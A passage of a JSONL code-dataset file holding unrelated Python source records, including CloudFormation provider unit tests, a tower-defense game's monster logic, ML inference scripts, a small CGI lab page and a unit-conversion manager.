self.assertEqual(Request.DEFAULT_REGION, self.request.region)\n\n def test_region_caching(self):\n region = self.request.region\n self.mock_logger.warning.assert_called_with(\n \"Failed to parse stack ARN(%s) to get region - defaulting to %s\",\n 'stack_id', Request.DEFAULT_REGION\n )\n self.mock_logger.reset_mock()\n region2 = self.request.region\n self.mock_logger.warning.assert_not_called()\n self.assertIs(region, region2)\n self.assertEqual(Request.DEFAULT_REGION, self.request.region)\n\n def test_region_from_arn(self):\n for region in ['us-west-1', 'us-east-1', 'us-west-2', 'ap-south-1']:\n kwargs = {\n \"StackId\":\n \"arn:aws:cloudformation:{}:{}:stack/stackname/guid\".format(\n region, '123456789012'\n )\n }\n r = Request(**kwargs)\n actual = r.region\n self.assertEqual(\n region, actual, \"Expected %s, got %s\" % (region, actual)\n )\n\n\nclass ResponseTestCase(ResponseBaseTestCase):\n def setUp(self):\n super(ResponseTestCase, self).setUp()\n\n def test_init(self):\n kwargs = {'a': 1, 'b': 2, 'c': 3}\n r = Response(**kwargs)\n self.assertEqual(1, r.a)\n self.assertEqual(2, r.b)\n self.assertEqual(3, r.c)\n r = Response(\n request_id='request_id',\n stack_id='stack_id',\n logical_resource_id='logical_resource_id'\n )\n self.assertEqual('request_id', r.request_id)\n self.assertEqual('stack_id', r.stack_id)\n self.assertEqual('logical_resource_id', r.logical_resource_id)\n self.assertEqual('', r.physical_resource_id)\n r = Response(\n request_id='request_id',\n stack_id='stack_id',\n logical_resource_id='logical_resource_id',\n physical_resource_id='physical_resource_id'\n )\n self.assertEqual('request_id', r.request_id)\n self.assertEqual('stack_id', r.stack_id)\n self.assertEqual('logical_resource_id', r.logical_resource_id)\n self.assertEqual('physical_resource_id', r.physical_resource_id)\n\n def test_status(self):\n self.assertEqual('status', self.response.status)\n\n def test_reason(self):\n self.assertEqual('reason', self.response.reason)\n\n def test_stack_id(self):\n self.assertEqual('stack_id', self.response.stack_id)\n\n def test_request_id(self):\n self.assertEqual('request_id', self.response.request_id)\n\n def test_logical_resource_id(self):\n self.assertEqual(\n 'logical_resource_id', self.response.logical_resource_id\n )\n\n def test_physical_resource_id(self):\n self.assertEqual(\n 'physical_resource_id', self.response.physical_resource_id\n )\n\n def test_no_echo(self):\n self.assertEqual(True, self.response.no_echo)\n\n def test_data(self):\n self.assertEqual({'a': 1, 'b': 2, 'c': 3}, self.response.data)\n\n def test_set_status(self):\n self.response.set_status(True)\n self.assertEqual('SUCCESS', self.response.status)\n self.response.set_status(False)\n self.assertEqual('FAILED', self.response.status)\n\n def test_set_reason(self):\n self.response.set_reason('')\n self.assertEqual('', self.response.reason)\n\n def test_set_physical_resource_id(self):\n self.response.set_physical_resource_id('1337')\n self.assertEqual('1337', self.response.physical_resource_id)\n\n def test_set_data(self):\n self.response.set_data({'a': 1, 'b': 2, 'c': 3})\n self.assertEqual({'a': 1, 'b': 2, 'c': 3}, self.response.data)\n kwargs = {}\n r = Response(**kwargs)\n r.set_data({'a': 1, 'b': 2, 'c': 3})\n self.assertEqual({'a': 1, 'b': 2, 'c': 3}, r.data)\n\n def test_dict(self):\n self.kwargs = self.response.dict()\n\n\nclass ProviderTestCase(ProviderBaseTestCase):\n def setUp(self):\n super(ProviderTestCase, self).setUp()\n\n def test_init(self):\n self.assertEqual(self.provider.request, self.request)\n self.assertEqual(self.provider.response, self.response)\n\n def test_set_response(self):\n r = Response()\n self.provider._set_response(r)\n self.assertEqual(r, self.provider.response)\n\n def test_create(self):\n with self.assertRaises(NotImplementedError):\n self.provider.create()\n\n def test_update(self):\n with self.assertRaises(NotImplementedError):\n self.provider.update()\n\n def test_delete(self):\n with self.assertRaises(NotImplementedError):\n self.provider.delete()\n\n def test_handler_create(self):\n self.mock_create = patch.object(Provider, 'create').start()\n self.mock_send_response = patch.object(Provider,\n 'send_response').start()\n self.request_kwargs['RequestType'] = 'Create'\n request = Request(**self.request_kwargs)\n provider = Provider(request, self.response)\n provider.handler()\n self.mock_create.assert_called_once()\n self.mock_send_response.assert_called_once()\n\n def test_handler_update(self):\n self.mock_update = patch.object(Provider, 'update').start()\n self.mock_send_response = patch.object(Provider,\n 'send_response').start()\n self.request_kwargs['RequestType'] = 'Update'\n request = Request(**self.request_kwargs)\n provider = Provider(request, self.response)\n provider.handler()\n self.mock_update.assert_called_once()\n self.mock_send_response.assert_called_once()\n\n def test_handler_delete(self):\n self.mock_delete = patch.object(Provider, 'delete').start()\n self.mock_send_response = patch.object(Provider,\n 'send_response').start()\n self.request_kwargs['RequestType'] = 'Delete'\n request = Request(**self.request_kwargs)\n provider = Provider(request, self.response)\n provider.handler()\n self.mock_delete.assert_called_once()\n self.mock_send_response.assert_called_once()\n\n def test_handler_unknown(self):\n self.mock_send_response = patch.object(Provider,\n 'send_response').start()\n self.request_kwargs['RequestType'] = 'Unknown'\n request = Request(**self.request_kwargs)\n provider = Provider(request, self.response)\n provider.handler()\n self.assertEqual('FAILED', self.provider.response.status)\n self.assertEqual(\n 'Unknown RequestType: Must be one of: Create, Update, or Delete.',\n self.provider.response.reason\n )\n self.mock_send_response.assert_called_once()\n\n def test_send_response(self):\n self.provider.send_response()\n self.mock_requests.put.assert_called_with(\n 'response_url',\n json=self.provider.response.dict(),\n headers={'Content-Type': ''}\n )\n","sub_path":"certificate_validator/tests/test_provider.py","file_name":"test_provider.py","file_ext":"py","file_size_in_byte":12291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"497804475","text":"from torch.autograd import Variable\nimport numpy as np\nimport os\nimport sys\ncurrent_dir = os.path.dirname(os.path.abspath(\"__file__\"))\nsys.path.append( str(current_dir) + '/../../../' )\n\nfrom setting_param import prediction_num_of_node_max_new as max_new\nfrom setting_param import prediction_num_of_node_min_new as min_new\nfrom setting_param import prediction_num_of_node_max_lost as max_lost\nfrom setting_param import prediction_num_of_node_min_lost as min_lost\n\ndef inference(dataloader, net, criterion, opt, OutputDir, node_type):\n net.eval()\n for i, (sample_idx, input_new, input_lost, label_new, label_lost) in enumerate(dataloader, 0):\n\n if opt.cuda:\n input_new = input_new.cuda()\n input_lost = input_lost.cuda()\n label_new = label_new.cuda()\n label_lost = label_lost.cuda()\n\n if node_type == \"new\":\n input = Variable(input_new).double()\n target = Variable(label_new).double()\n max_ = max_new\n min_ = min_new\n elif node_type == \"lost\":\n input = Variable(input_lost).double()\n target = Variable(label_lost).double()\n max_ = max_lost\n min_ = min_lost\n\n output = net(input)\n\n # 予測結果とラベルを保存\n os.makedirs(OutputDir + \"/output\", exist_ok=True)\n for batch in range(opt.batchSize):\n np.save(OutputDir + \"/output/pred\" + str(sample_idx.numpy()[batch]), output.detach().numpy()[batch] * (max_ - min_) + min_)\n np.save(OutputDir + \"/output/true\" + str(sample_idx.numpy()[batch]), target[batch].numpy() * (max_ - min_) + min_)\n","sub_path":"Model/prediction_num_of_node/LSTM/utils/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"327047118","text":"from collections import deque\r\n#import sympy.geometry as g\r\nimport Geometry as geo\r\n\r\nMAX_MONSTER_SPEED = 21\r\nMIN_MONSTER_SPEED = 21\r\n\r\n\r\nclass MonsterWay: # todo normal point now tuple with pairs x y\r\n def __init__(self):\r\n self.way = ((1, 1), (2, 1), (3, 1), (4, 1), (5, 1), (6, 1), (7, 1), (8, 1), (9, 1), (10, 1), (11, 1),\r\n (12, 1), (13, 1), (14, 1), (15, 1), (16, 1), (17, 1), (18, 1), (18, 2), (18, 3), (18, 4),\r\n (18, 5), (18, 6), (18, 7), (18, 8), (18, 9), (18, 10), (17, 10), (16, 10), (15, 10), (14, 10),\r\n (13, 10), (12, 10), (11, 10), (10, 10), (9, 10), (8, 10), (7, 10), (6, 10), (5, 9), (4, 8),\r\n (3, 8), (2, 8), (1, 8), (0, 8), (0, 9), (0, 10), (0, 11), (0, 12), (0, 13), (0, 14), (0, 15),\r\n (0, 16), (0, 17), (1, 18), (2, 20), (2, 21), (3, 22), (4, 23), (5, 24), (6, 25), (7, 26), (8, 27),\r\n (9, 28), (10, 29), (11, 30), (12, 31), (13, 32), (14, 33), (15, 34), (16, 35), (17, 35), (18, 35),\r\n (19, 35), (20, 35), (21, 35), (22, 35), (23, 35), (24, 35), (25, 35), (25, 35), (26, 35),\r\n (27, 35), (28, 35), (29, 35), (30, 35), (31, 35), (32, 35), (33, 35), (34, 35), (35, 35), (36, 35),\r\n (37, 35), (38, 35), (39, 35), (40, 35), (41, 35), (42, 35), (42, 35), (43, 35), (44, 35), (45, 35),\r\n (46, 35), (47, 35), (48, 35), (49, 35), (50, 35), (51, 34), (52, 33), (53, 32), (54, 31), (55, 30),\r\n (56, 29), (57, 28), (58, 27), (59, 26), (60, 25), (61, 25)\r\n )\r\n self.lobby = 2\r\n self.city = len(self.way) - 2\r\n\r\n def in_lobby(self, index):\r\n return index < self.lobby\r\n\r\n def in_city(self, index):\r\n return index > self.city\r\n\r\n def x(self, index):\r\n return self.way[index][0] # todo this safety with processing\r\n\r\n def y(self, index):\r\n return self.way[index][1]\r\n\r\n\r\nclass MonsterWave:\r\n def __init__(self, world, monster_amount, monster_time_interval):\r\n self.monster_way = MonsterWay()\r\n self.monsters_lobby = deque(Monster(world, self, -5, -5) for _ in range(0, monster_amount))\r\n self.monster_time_interval = monster_time_interval\r\n self.monsters_on_map = [] # deque()\r\n self.world = world\r\n self.alive = True\r\n\r\n self.health_on_map = 0\r\n self.monster_wave_health = len(self.monsters_lobby) * 20 + self.health_on_map\r\n\r\n def add_on_map(self):\r\n if self.monsters_lobby and self.world.draw_system.draw_tick % self.monster_time_interval == 0:\r\n self.monsters_on_map.append(self.monsters_lobby.popleft())\r\n\r\n def refresh_on_map(self):\r\n for monster in self.monsters_on_map:\r\n if not monster.alive:\r\n if monster.monster_loot:\r\n self.world.player.monsters_loots.append(monster.monster_loot)\r\n monster.monster_loot = None\r\n self.monsters_on_map.remove(monster)\r\n monster.refresh()\r\n self.health_on_map += max(int(monster.health), 0)\r\n self.monster_wave_health = len(self.monsters_lobby) * 20 + self.health_on_map\r\n self.health_on_map = 0\r\n self.world.player.wave_health = self.monster_wave_health\r\n\r\n def refresh(self):\r\n self.add_on_map()\r\n self.refresh_on_map()\r\n if not (self.monsters_lobby or self.monsters_on_map):\r\n self.alive = False\r\n\r\n\r\nclass MonsterArmor:\r\n def __init__(self, monster, monster_armor):\r\n self.froze = monster_armor[\"Froze\"]\r\n self.fire = monster_armor[\"Fire\"]\r\n self.poison = monster_armor[\"Poison\"]\r\n self.electricity = monster_armor[\"Electricity\"]\r\n self.physical = monster_armor[\"Physical\"]\r\n self.monster = monster\r\n\r\n\r\nclass MonsterLoot:\r\n def __init__(self, monster):\r\n self.monster = monster\r\n self.money = 10\r\n self.citizen_annihilation = 1\r\n self.experience = 5\r\n self.in_city = False\r\n self.available = True\r\n\r\n\r\nclass MonsterEffects:\r\n def __init__(self, monster):\r\n self.froze = 0\r\n self.fire = 0\r\n self.poison = 0\r\n self.electricity = 0\r\n self.slowing = 5\r\n self.direction = 1\r\n self.towers_attacks = []\r\n self.damage = 0\r\n self.monster = monster\r\n\r\n def _effects_collecting(self):\r\n for tower_attack in self.towers_attacks:\r\n electricity = tower_attack.electricity_attack - self.monster.armor.electricity\r\n poison = tower_attack.poison_attack - self.monster.armor.poison\r\n fire = tower_attack.fire_attack - self.monster.armor.fire\r\n froze = tower_attack.froze_attack - self.monster.armor.fire\r\n damage = tower_attack.physical_attack - self.monster.armor.physical\r\n self.slowing += tower_attack.slowing_change\r\n self.direction = tower_attack.direction_change\r\n self.electricity += max(electricity, 0)\r\n self.poison += max(poison, 0)\r\n self.froze += max(froze, 0)\r\n self.fire += max(fire, 0)\r\n self.damage += max(damage, 0)\r\n self.towers_attacks = []\r\n\r\n def _effects_calculation(self):\r\n effcoff = {\"electricity\": self.electricity, \"froze\": self.froze, \"poison\": self.poison, \"fire\": self.fire}\r\n elecoff = {\"electricity\": 0, \"froze\": 0.33, \"poison\": -0.17, \"fire\": -0.13}\r\n fircoff = {\"electricity\": 0.46, \"froze\": -1, \"poison\": 0.08, \"fire\": 0}\r\n frocoff = {\"electricity\": 0.193, \"froze\": 0, \"poison\": 0, \"fire\": -1}\r\n poicoff = {\"electricity\": -0.17, \"froze\": -0.37, \"poison\": 0, \"fire\": -0.3}\r\n slocoff = {\"electricity\": -0.33, \"froze\": 0.83, \"poison\": 0, \"fire\": -0.43}\r\n dmgcoff = {\"electricity\": 0.76, \"froze\": 0.56, \"poison\": 0.86, \"fire\": 0.63}\r\n electricity = sum(map(lambda x, y: x * y, effcoff.values(), elecoff.values()))\r\n fire = sum(map(lambda x, y: x * y, effcoff.values(), fircoff.values()))\r\n froze = sum(map(lambda x, y: x * y, effcoff.values(), frocoff.values()))\r\n poison = sum(map(lambda x, y: x * y, effcoff.values(), poicoff.values()))\r\n slowing = sum(map(lambda x, y: x * y, effcoff.values(), slocoff.values()))\r\n self.slowing += slowing\r\n self.electricity = max(self.electricity + electricity, 0)\r\n self.poison = max(self.poison + poison, 0)\r\n self.froze = max(self.froze + froze, 0)\r\n self.fire = max(self.fire + fire, 0)\r\n effcoff = {\"electricity\": self.electricity, \"froze\": self.froze, \"poison\": self.poison, \"fire\": self.fire}\r\n damage = sum(map(lambda x, y: x * y, effcoff.values(), dmgcoff.values()))\r\n self.damage += damage\r\n\r\n def _tick_effects_update(self):\r\n self.damage = 0\r\n self.poison *= 0.88\r\n self.froze *= 0.67\r\n self.fire *= 0.44\r\n self.electricity *= 0.2\r\n self.slowing *= 0.76\r\n if self.monster.world.draw_system.draw_tick % 200 == 0:\r\n self.direction = 1\r\n else:\r\n self.direction = self.direction\r\n\r\n def refresh_effects(self):\r\n self._effects_collecting()\r\n self._effects_calculation()\r\n self.monster.health -= self.damage\r\n\r\n self.monster.speed_now = self.monster.speed_base - int(self.slowing + 0.5) # TODO make armotization for this\r\n self._tick_effects_update()\r\n\r\n\r\nclass Monster:\r\n def __init__(self, world, wave, x, y):\r\n self.world = world\r\n self.wave = wave\r\n self.x = x\r\n self.y = y\r\n self.width = 2\r\n self.height = 2\r\n self.polygon = self._init_polygon()\r\n self._speed_base = None\r\n self._speed_now = None\r\n self.speed_base = 5\r\n self.speed_now = self._speed_base\r\n self.health = 20\r\n self.monster_loot = MonsterLoot(self)\r\n self.lived_ticks = 0\r\n self.alive = True\r\n self.armor = MonsterArmor(self, {\"Froze\": 0, \"Fire\": 0, \"Poison\": 0, \"Electricity\": 0, \"Physical\": 0})\r\n self.texture = \"M\"\r\n self.effects = MonsterEffects(self)\r\n self.type = \"all\"\r\n self.ai_points = 0\r\n self.way_position = 0\r\n self.monster_way = wave.monster_way\r\n self.step = 1\r\n # in future it resizing objects configure\r\n\r\n @property\r\n def speed_base(self):\r\n return self._speed_base\r\n\r\n @speed_base.setter\r\n def speed_base(self, speed_base):\r\n self._speed_base = max(-MIN_MONSTER_SPEED, min(speed_base, MAX_MONSTER_SPEED - 1))\r\n\r\n @property\r\n def speed_now(self):\r\n return self._speed_now\r\n\r\n @speed_now.setter\r\n def speed_now(self, speed_now):\r\n self._speed_now = min(MIN_MONSTER_SPEED + MAX_MONSTER_SPEED - 2, max(MAX_MONSTER_SPEED - speed_now, 1))\r\n\r\n def is_can_be_attacked(self, typeof):\r\n return typeof in (\"all\", self.type) and self.alive\r\n\r\n def _init_polygon(self):\r\n x = self.x\r\n y = self.y\r\n w = self.width - 1\r\n h = self.height - 1\r\n return geo.Rectangle(x,y,w,h)#//g.polygon.Polygon(g.Point(x, y), g.Point(x + w, y), g.Point(x + w, y + h), g.Point(x, y + h))\r\n\r\n def refresh(self):\r\n if not self.alive:\r\n return\r\n self.polygon = self._init_polygon()\r\n self.effects.refresh_effects()\r\n self.lived_ticks += 1\r\n self.lived_ticks %= 100\r\n self.refresh_ai()\r\n if self.health < 1:\r\n self.alive = False\r\n self.x = -1\r\n self.y = -1\r\n\r\n def refresh_ai(self):\r\n if self.monster_way.in_city(self.way_position):\r\n self.monster_loot.in_city = True\r\n self.effects.Direction = 0\r\n self.alive = False\r\n if self.world.draw_system.draw_tick % self.speed_now == 0:\r\n self.lived_ticks += 1\r\n self.lived_ticks %= 100\r\n if self.monster_way.in_lobby(self.way_position):\r\n self.effects.Direction = 1\r\n self.move()\r\n\r\n def _movement(self, x, y):\r\n if self.alive:\r\n self.x += x\r\n self.y += y\r\n\r\n def move(self):\r\n self.way_position += self.step * self.effects.direction\r\n self.x = self.monster_way.x(self.way_position)\r\n self.y = self.monster_way.y(self.way_position)\r\n\r\n def in_screen(self, window_width, window_height):\r\n return 0 <= self.x <= window_width + self.width and 0 <= self.y <= window_height + self.height and self.alive\r\n\r\n def effect_on_tick(self):\r\n pass\r\n","sub_path":"Monsters.py","file_name":"Monsters.py","file_ext":"py","file_size_in_byte":10604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"42124548","text":"import sys\nsys.path.append('../')\nfrom utilities.utils import ModelUtils\nfrom logger.logger import Logger\nfrom db_operations.sqlite_db import SqliteDbHandler\nfrom utilities.utils import FileUtils\nimport os\nfrom joblib import dump, load\nfrom datetime import datetime\nimport more_itertools\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\n\n\n\nclass Inference_Controller:\n def __init__(self,inference_db_path,preprocessor):\n self._inference_db_path = inference_db_path\n self._time_created = datetime.now()\n self._logger = Logger(f'inferencing_logs_{self._time_created.date()}_{self._time_created.strftime(\"%H%M%S\")}.log')\n self._db_handler = SqliteDbHandler(self._logger,self._inference_db_path,'inferencing_db')\n self._model_utils = ModelUtils(self._logger)\n self._preprocessor = preprocessor\n\n def _load_data(self):\n self._logger.log('Inference: Started Inferencing')\n self._logger.log('Inference: Loading data for Inferencing')\n try: \n self._db_handler.create_db_connection()\n df = self._db_handler.get_data_from_db('thyroid_inferencing')\n return df\n except Exception as e:\n self._logger.log(f'Inference: Exception occured while Loading data for Inferencing, {str(e)}')\n\n def _cluster_data(self,df):\n\n clustering_model_name_with_extension = self._all_models[0]\n model_name_only = clustering_model_name_with_extension.split('.')[0]\n clustering_model = self._model_utils.load_model(model_name_only)\n \n clusters = clustering_model.predict(df)\n df['clusters']=clusters\n self._clusters=df['clusters'].unique()\n\n return df\n \n def _get_model_for_clusters(self):\n \n model_repository = {}\n for cluster in self._clusters:\n model_repository[cluster]=self._model_utils.find_model_for_cluster(cluster)\n \n return model_repository\n\n def _get_label_encoder(self):\n return self._preprocessor.label_encoder\n\n def _make_predictions_for_clusters(self,df):\n\n label_encoder = self._get_label_encoder()\n all_models = self._get_model_for_clusters()\n\n final_predictions = pd.DataFrame()\n for cluster in self._clusters:\n current_cluster_data = df[df['clusters']==cluster]\n current_cluster_data = current_cluster_data.drop(['clusters'],axis=1)\n model = all_models.get(cluster)\n predicted_labels = model.predict(current_cluster_data)\n predicted_labels = predicted_labels.astype(int)\n predicted_labels = label_encoder.inverse_transform(predicted_labels)\n current_cluster_data['predictions'] = predicted_labels\n final_predictions = pd.concat([final_predictions,current_cluster_data])\n \n return final_predictions\n\n\n\n def run_inferencing(self):\n with st.spinner(\"Loading validated data from DB...\"):\n df = self._load_data()\n\n with st.spinner(\"Loading models from repository...\"):\n # self._all_models = list(more_itertools.flatten(self._model_utils.get_all_models_info()))\n self._all_models = self._model_utils.get_all_models_info()\n\n with st.spinner('Clustering data'):\n df = self._cluster_data(df)\n\n with st.spinner('Getting Predictions..'):\n st.info('Predictions:')\n final_predictions = self._make_predictions_for_clusters(df)\n st.write(final_predictions)\n\n with st.spinner('Writing Predictions to file..'):\n # file_utils = FileUtils(self._logger,os.path.join('.','data'))\n # predictions_save_path = file_utils.create('final_predictions',delete_before_creation=True)\n # predictions_save_path= os.path.join(predictions_save_path,'predictions.csv')\n final_predictions.to_csv('./data/final_predictions/predictions.csv',index=False)\n\n","sub_path":"Machine_Learning_Projects/Thyroid_Detection/inference/inference_controller.py","file_name":"inference_controller.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"547401003","text":"#!/usr/bin/env python\nimport cgi\nimport cgitb\ncgitb.enable()\nimport os\nimport datetime\n\n\ndefault = \"No Value Present\"\n\n\nprint(\"Content-Type: text/html\")\nprint(\"\")\n\nthis_day = datetime.datetime.today()\n\nbody = \"\"\"\n\nLab 1 - CGI experiments by Dennis Lee\n\n\n

    Hey there, this page has been generated by {software}, running {script}.

    \n

    Today is {month} {date}, {year}.

    \n

    This page was requested by IP Address {client_ip}.

    \n\n\"\"\".format(\n software=os.environ.get('SERVER_SOFTWARE', default),\n script=os.environ.get('SCRIPT_NAME', default),\n month=this_day.strftime(\"%B\"),\n date=this_day.day,\n year=this_day.year,\n client_ip=os.environ.get('REMOTE_ADDR')\n)\nprint(body)\n","sub_path":"cgi-bin/cgi_2.py","file_name":"cgi_2.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"614951023","text":"import numpy as np\n\n\nif __name__ == \"__main__\":\n X = np.array([[1, 2, 3], [5, 2, 1], [8, 3, 1], [5, 2, 1]])\n\n match = [5, 2, 1]\n\n\n a = [x for x in a if x != [1,1]]\n\n \n # print(X.shape)\n # exit()\n\n # # Get sum squares err\n # X_hat = np.sum(np.mean(X_test)) / n_samples\n # # X_means = [np.mean(x_mat) for x_mat in X_test]\n # reconstruct_X_test = model.inverse_transform(W_test)\n\n # SS_err = np.sum(X_test - reconstruct_X_test)**2\n # SS_tot = np.sum(X_test - X_hat)**2\n\n # fuv = SS_err / SS_tot\n # print(fuv)\n\n # test_error = _beta_divergence(X_test, W_test, model.components_, 'frobenius', square_root=False)\n # k_error_dict[i].append(test_error)\n\n # print(\"rep: \", rep, \" k: \", i, \"mean test error: \", np.mean(k_error_dict[i]))\n","sub_path":"data_analysis_notebook/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"477585878","text":"'''\nCreated on Oct 19, 2011\n\n@author: steger, jozsef\n@organization: ELTE\n@contact: steger@complex.elte.hu\n'''\nfrom DataError import UnitError\n\nclass UnitManager(object):\n '''\n @summary: the unit container\n \n @note: The relationship between various unit, describing the derivation paths are not stored in this model,\n because this information can be inferred from the dimension derivations, represented in the L{DimensionManager}.\n @note: Units that are formed by prepending a unit prefix (L{Prefix}) are dealt as a L{DerivedUnit}.\n \n @ivar units: container of known units\n @type units: dict(str: L{Unit})\n @ivar conversionpaths: is a map of operations to carry out from a unit to get a different unit\n @type conversionpaths: dict((L{Unit}, L{Unit}): (callable, args))\n @ivar basins: indicates the derivatives of a basic unit\n @type basins: dict(L{BasicUnit}: set(L{Unit}))\n @ivar duplicatesymbols: collection of unit symbols, which more than one unit may bare\n @type duplicatesymbols: set(str)\n '''\n\n class Unit(object):\n '''\n @summary: common skeleton of all units\n @ivar manager: reference to the unit manager\n @type manager: L{UnitManager}\n @ivar reference: unique reference of the unit\n @ivar symbol: short form of the unit\n @type symbol: str\n '''\n def __init__(self, manager, reference, symbol, ancestor):\n '''\n @summary: bind and store common information of the unit\n @param manager: the unit manager\n @type manager: L{UnitManager}\n @param reference: a unique identifier\n @param symbol: short human readable representation of the unit\n @type symbol: str\n @param ancestor: the ancestor of this unit is deriving from\n @type ancestor: L{Unit}\n '''\n self._data = (manager, reference, symbol)\n self._ancestor = ancestor\n @property\n def manager(self):\n return self._data[0]\n @property\n def reference(self):\n return self._data[1]\n @property\n def symbol(self):\n return self._data[2]\n def __str__(self):\n return self.symbol\n def __eq__(self, u):\n return self._data == u._data\n\n class BasicUnit(Unit):\n '''\n @summary: a unit axiom\n '''\n def __init__(self, manager, reference, symbol):\n '''\n @summary: constructor\n A BasicUnit is an instance of either set of BaseUnit, ProductUnit and PowerUnit as of the information model.\n @param manager: a reference to the unit manager\n @type manager: L{UnitManager} \n @param reference: the reference to the unit\n @param symbol: an abbreviation for the unit\n @type symbol: str\n '''\n UnitManager.Unit.__init__(self, manager, reference, symbol, None)\n \n class DerivedUnit(Unit):\n '''\n @summary: a unit deriving from various known units\n '''\n def __init__(self, manager, reference, symbol, ancestor):\n '''\n @summary: constructor\n A DerivedUnit is an instance of either set of LinearTransformedUnit and RegexpScaledUnit as of the information model.\n Also units that have any unit prefix fall in this set.\n @param manager: a reference to the unit manager\n @type manager: L{UnitManager} \n @param reference: the reference to the unit\n @param symbol: an abbreviation for the unit\n @type symbol: str\n @param ancestor: the neighbor unit, whose derivative this instance is.\n @type ancestor: L{Unit}\n '''\n UnitManager.Unit.__init__(self, manager, reference, symbol, ancestor)\n \n \n def __init__(self):\n '''\n @summary: constructor\n '''\n self.units = {}\n self.conversionpaths = {}\n self.basins = {}\n self.duplicatesymbols = set()\n \n def __contains__(self, item):\n '''\n @summary: check the existence of a unit\n @param item: a unit or its symbol\n @type item: L{Unit} or str\n @return: True if the unit is known by the L{UnitManager}\n @rtype: bool\n @raise L{UnitError}: Wrong item type\n '''\n units = set(self.units.values())\n if isinstance(item, self.Unit):\n return item in units\n elif isinstance(item, str):\n for unit in units:\n if unit.symbol == item:\n return True\n return False\n else:\n raise UnitError(\"Wrong item type %s\" % item)\n \n def __len__(self):\n '''\n @summary: the number of units known by the L{UnitManager}\n @return: the number of units known by the L{UnitManager}\n @rtype: int\n '''\n return len(self.units)\n\n @staticmethod\n def intORfloat(x):\n '''\n @summary: a conversion helper to read out a value as a number\n @param x: a number\n @type x: str\n @return: the number converted to integer or floating point decimal\n @rtype: int or float\n '''\n if isinstance(x, str):\n try:\n return int(x)\n except ValueError:\n return float(x)\n else:\n return float(x)\n\n def __getitem__(self, reference):\n '''\n @summary: look up the unit in the L{UnitManager} using its reference\n @param reference: the reference to the unit\n @return: the unit found\n @rtype: L{Unit}\n @raise L{UnitError}: Unit with reference not found\n '''\n if self.units.has_key(reference):\n return self.units[reference]\n raise UnitError(\"Unit with reference %s not found\" % reference)\n\n def newBasicUnit(self, reference, symbol):\n '''\n @summary: generate a new basic unit\n @param reference: the reference to the unit\n @param symbol: a short form of the unit\n @type symbol: str\n @return: the new unit\n @rtype: L{BasicUnit}\n @raise L{UnitError}: Unit with reference exists\n '''\n if self.units.has_key(reference): \n raise UnitError(\"Unit with reference %s exists\" % reference)\n if UnitManager.__contains__(self, symbol):\n self.duplicatesymbols.add(symbol)\n unit = self.BasicUnit(self, reference, symbol)\n self.units[reference] = unit\n self.basins[unit] = set([unit])\n self.__dict__[reference] = unit\n return unit\n\n def addLinearTransformedUnit(self, reference, symbol, derivedfrom, scale, offset = 0):\n '''\n @summary: generate a derived unit\n @param reference: the reference to the unit\n @param symbol: a short form of the unit\n @type symbol: str\n @param derivedfrom: the neighbor unit\n @type derivedfrom: L{Unit}\n @param scale: scaling factor for the linear transformation\n @type scale: float\n @param offset: the shift in the linear transformation, defaults to 0\n @type offset: float \n @return: the new unit\n @rtype: L{DerivedUnit}\n @raise L{UnitError}: Wrong type of derivedfrom / Unit not found / Unit with reference exists / Cannot extend basin with unit, because Unit not found\n '''\n if not isinstance(derivedfrom, self.Unit):\n raise UnitError(\"Wrong type of derivedfrom %s\" % derivedfrom)\n if not UnitManager.__contains__(self, str(derivedfrom)):\n raise UnitError(\"Unit %s not found\" % derivedfrom)\n if self.units.has_key(reference): \n raise UnitError(\"Unit with reference %s exists\" % reference)\n unit = self.DerivedUnit(self, reference, symbol, derivedfrom)\n basic = derivedfrom\n while basic._ancestor:\n basic = basic._ancestor\n if not self.basins.has_key(basic):\n raise UnitError(\"Cannot extend basin with unit %s, because Unit %s not found\" % (unit, basic))\n if UnitManager.__contains__(self, symbol):\n self.duplicatesymbols.add(symbol)\n self.units[reference] = unit\n self.conversionpaths[(unit, derivedfrom)] = (self.op_lt_forward, (scale, offset))\n self.conversionpaths[(derivedfrom, unit)] = (self.op_lt_inverse, (scale, offset))\n self.basins[basic].add(unit)\n self.__dict__[reference] = unit\n return unit\n\n def addRegexpTransformedUnit(self, reference, symbol, derivedfrom, expr_forward, expr_inverse):\n '''\n @summary: generate a derived unit\n @param reference: the reference to the unit\n @param symbol: a short form of the unit\n @type symbol: str\n @param derivedfrom: the neighbor unit\n @type derivedfrom: L{Unit}\n @param expr_forward: the expression driving the forward transformation\n @type expr_forward: str\n @param expr_inverse: the expression driving the inverse transformation\n @type expr_inverse: str\n @return: the new unit\n @rtype: L{DerivedUnit}\n @raise L{UnitError}: Wrong type of derivedfrom / Unit not found / Unit with reference exists / Cannot extend basin with unit, because Unit not found\n '''\n if not isinstance(derivedfrom, self.Unit):\n raise UnitError(\"Wrong type of derivedfrom %s\" % derivedfrom)\n if not UnitManager.__contains__(self, str(derivedfrom)):\n raise UnitError(\"Unit %s not found\" % derivedfrom)\n if self.units.has_key(reference): \n raise UnitError(\"Unit with reference %s exists\" % reference)\n unit = self.DerivedUnit(self, reference, symbol, derivedfrom)\n basic = derivedfrom\n while basic._ancestor:\n basic = basic._ancestor\n if not self.basins.has_key(basic):\n raise UnitError(\"Cannot extend basin with unit %s, because Unit %s not found\" % (unit, basic))\n if UnitManager.__contains__(self, symbol):\n self.duplicatesymbols.add(symbol)\n self.units[reference] = unit\n self.conversionpaths[(unit, derivedfrom)] = (self.op_rt_forward, expr_forward)\n self.conversionpaths[(derivedfrom, unit)] = (self.op_rt_inverse, expr_inverse)\n self.basins[basic].add(unit)\n self.__dict__[reference] = unit\n return unit\n\n def getBasinByUnit(self, unit):\n '''\n @summary: return the set of units, which are compatible with a given unit\n @param unit: 